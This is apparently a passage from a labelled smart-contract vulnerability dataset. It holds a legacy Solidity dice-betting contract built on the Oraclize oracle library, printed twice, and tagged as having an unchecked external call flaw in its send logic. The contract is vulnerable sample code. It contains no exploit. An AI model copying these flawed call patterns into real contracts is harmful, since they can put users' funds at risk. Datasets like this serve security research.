h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } // contract Dice is usingOraclize { uint public pwin = 5000; //probability of winning (10000 = 100%) uint public edge = 200; //edge percentage (10000 = 100%) uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint public minBet = 1 finney; uint public maxInvestors = 5; //maximum number of investors uint public houseEdge = 50; //edge percentage (10000 = 100%) uint public divestFee = 50; //divest fee percentage (10000 = 100%) uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) uint safeGas = 25000; uint constant ORACLIZE_GAS_LIMIT = 125000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 7 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBetted; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) investorIDs; mapping(uint => Investor) investors; uint public numInvestors = 0; uint public invested = 0; address owner; address houseAddress; bool public isStopped; WithdrawalProposal proposedWithdrawal; mapping (bytes32 => Bet) bets; bytes32[] betsKeys; uint public amountWagered = 0; uint public investorsProfit = 0; uint public investorsLoses = 0; bool profitDistributed; event BetWon(address playerAddress, uint numberRolled, uint amountWon); event BetLost(address playerAddress, uint numberRolled); event EmergencyWithdrawalProposed(); event EmergencyWithdrawalFailed(address withdrawalAddress); event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event FailedSend(address receiver, uint amount); event ValueIsTooBig(); function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint houseEdgeInitial, uint divestFeeInitial, uint emergencyWithdrawalRatioInitial ) { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); pwin = pwinInitial; edge = edgeInitial; maxWin = maxWinInitial; minBet = minBetInitial; maxInvestors = maxInvestorsInitial; houseEdge = houseEdgeInitial; divestFee = divestFeeInitial; emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _ } modifier onlyIfStopped { if (!isStopped) throw; _ } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _ } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _ } modifier onlyOwner { if (owner != msg.sender) throw; _ } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _ } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _ } modifier onlyMoreThanZero { if (msg.value == 0) throw; _ } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { Bet thisBet = bets[myid]; if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { _ } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } _ } modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { if (getBalance(currentInvestor) >= 0) { _ } } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _ } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _ } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _ } modifier rejectValue { if (msg.value != 0) throw; _ } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _ } } modifier onlyIfValidGas(uint newGasLimit) { if (newGasLimit < 25000) throw; _ } modifier onlyIfNotProcessed(bytes32 myid) { Bet thisBet = bets[myid]; if (thisBet.numberRolled > 0) throw; _ } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _ } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { return invested + investorsProfit - investorsLoses; } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); if (this.balance < bankroll) { bankroll = this.balance; } uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLosesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); } // PRIVATE HELPERS FUNCTION function searchSmallestInvestor() private returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } function safeSend(address addr, uint value) private { if (this.balance < value) { ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); } } } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint losesOfInvestor = getLosesShare(currentInvestor); investors[i].amountInvested += profitOfInvestor - losesOfInvestor; copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLoses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() { bet(); } function bet() onlyIfNotStopped onlyMoreThanZero { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { // encrypted arg: '\n{""jsonrpc"":2.0,""method"":""generateSignedIntegers"",""params"":{""apiKey"":""YOUR_API_KEY"",""n"":1,""min"":1,""max"":10000},""id"":1}' bytes32 myid = oraclize_query(""URL"", ""json(https://api.random.org/json-rpc/1/invoke).result.random.data.0"", 'BCPnjiU1UySjNV2Nj003k7TFMVA/ddeUVwDlNnvte/GMShwVuchXA3Ul4vl3U656g7ZMq+H5Upk42wujF4p6gbasCoh7vTMlOXdG3Ehct+buCpx99Y8FSqyoAItrPtSTKZ1BHDnl5UF0oPv4tcG+L9ahH0cD8J6U/5I8OJBvjitE103Fxqo2W90bGIhnBeunSlQoHzN+zMIMmzNQJvp/PtybJSKfmfxiaqC+vCt4CywRLxI8pGijdhbwSzncjwg/wrYHFrJmcugmEPOvx7Entmnpec1MssnR1weOhayIzBU=', ORACLIZE_GAS_LIMIT + safeGas); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback (bytes32 myid, string result, bytes proof) onlyOraclize onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(thisBet, numberRolled); isLosingBet(thisBet, numberRolled); amountWagered += thisBet.amountBetted; delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); investorsLoses += (winAmount - thisBet.amountBetted); } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment { profitDistribution(); if (numInvestors < maxInvestors) { numInvestors++; addInvestorAtID(numInvestors); } else { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); addInvestorAtID(smallestInvestorID); numInvestors++; } } function divest() onlyInvestors rejectValue { divest(msg.sender); } function divest(address currentInvestor) private onlyIfInvestorBalanceIsPositive(currentInvestor) { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; //Clean up numInvestors--; delete investors[currentID]; delete investorIDs[currentInvestor]; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); } function forceDivestOfAllInvestors() onlyOwner rejectValue { uint copyNumInvestors = numInvestors; for (uint investorID = 1; investorID <= copyNumInvestors; investorID++) { divest(investors[investorID].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped rejectValue { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner rejectValue { isStopped = true; } function resumeContract() onlyOwner rejectValue { isStopped = false; } function changeHouseAddress(address newHouse) onlyOwner rejectValue { houseAddress = newHouse; } function changeOwnerAddress(address newOwner) onlyOwner rejectValue { owner = newOwner; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) rejectValue { safeGas = newGasLimit; } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped rejectValue { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner rejectValue { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed rejectValue { uint numOfVotesInFavour; uint amountToWithdrawal = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(this.balance)) { EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); } } else { throw; } } }",./Dataset/unchecked external call (UC),7,7 40401.sol,"// /* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { address oraclizeAddr = OAR.getAddress(); if (oraclizeAddr == 0){ oraclize_setNetwork(networkID_auto); oraclizeAddr = OAR.getAddress(); } oraclize = OraclizeI(oraclizeAddr); _ } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _ } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } // contract Dice is usingOraclize { uint public pwin = 5000; //probability of winning (10000 = 100%) uint public edge = 200; //edge percentage (10000 = 100%) uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint public minBet = 1 finney; uint public maxInvestors = 5; //maximum number of investors uint public houseEdge = 50; //edge percentage (10000 = 100%) uint public divestFee = 50; //divest fee percentage (10000 = 100%) uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) uint safeGas = 25000; uint constant ORACLIZE_GAS_LIMIT = 125000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 7 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBetted; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) investorIDs; mapping(uint => Investor) investors; uint public numInvestors = 0; uint public invested = 0; address owner; address houseAddress; bool public isStopped; WithdrawalProposal proposedWithdrawal; mapping (bytes32 => Bet) bets; bytes32[] betsKeys; uint public amountWagered = 0; uint public investorsProfit = 0; uint public investorsLoses = 0; bool profitDistributed; event BetWon(address playerAddress, uint numberRolled, uint amountWon); event BetLost(address playerAddress, uint numberRolled); event EmergencyWithdrawalProposed(); event EmergencyWithdrawalFailed(address withdrawalAddress); event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event FailedSend(address receiver, uint amount); event ValueIsTooBig(); function Dice(uint pwinInitial, uint edgeInitial, uint maxWinInitial, uint minBetInitial, uint maxInvestorsInitial, uint houseEdgeInitial, uint divestFeeInitial, uint emergencyWithdrawalRatioInitial ) { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); pwin = pwinInitial; edge = edgeInitial; maxWin = maxWinInitial; minBet = minBetInitial; maxInvestors = maxInvestorsInitial; houseEdge = houseEdgeInitial; divestFee = divestFeeInitial; emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _ } modifier onlyIfStopped { if (!isStopped) throw; _ } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _ } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _ } modifier onlyOwner { if (owner != msg.sender) throw; _ } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _ } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _ } modifier onlyMoreThanZero { if (msg.value == 0) throw; _ } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { Bet thisBet = bets[myid]; if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { _ } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(thisBet.playerAddress, thisBet.amountBetted); return; } _ } modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { if (getBalance(currentInvestor) >= 0) { _ } } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _ } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _ } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _ } modifier rejectValue { if (msg.value != 0) throw; _ } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _ } } modifier onlyIfValidGas(uint newGasLimit) { if (newGasLimit < 25000) throw; _ } modifier onlyIfNotProcessed(bytes32 myid) { Bet thisBet = bets[myid]; if (thisBet.numberRolled > 0) throw; _ } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _ } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { return invested + investorsProfit - investorsLoses; } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); if (this.balance < bankroll) { bankroll = this.balance; } uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLosesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); } // PRIVATE HELPERS FUNCTION function searchSmallestInvestor() private returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } function safeSend(address addr, uint value) private { if (this.balance < value) { ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); } } } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint losesOfInvestor = getLosesShare(currentInvestor); investors[i].amountInvested += profitOfInvestor - losesOfInvestor; copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLoses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() { bet(); } function bet() onlyIfNotStopped onlyMoreThanZero { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { // encrypted arg: '\n{""jsonrpc"":2.0,""method"":""generateSignedIntegers"",""params"":{""apiKey"":""YOUR_API_KEY"",""n"":1,""min"":1,""max"":10000},""id"":1}' bytes32 myid = oraclize_query(""URL"", 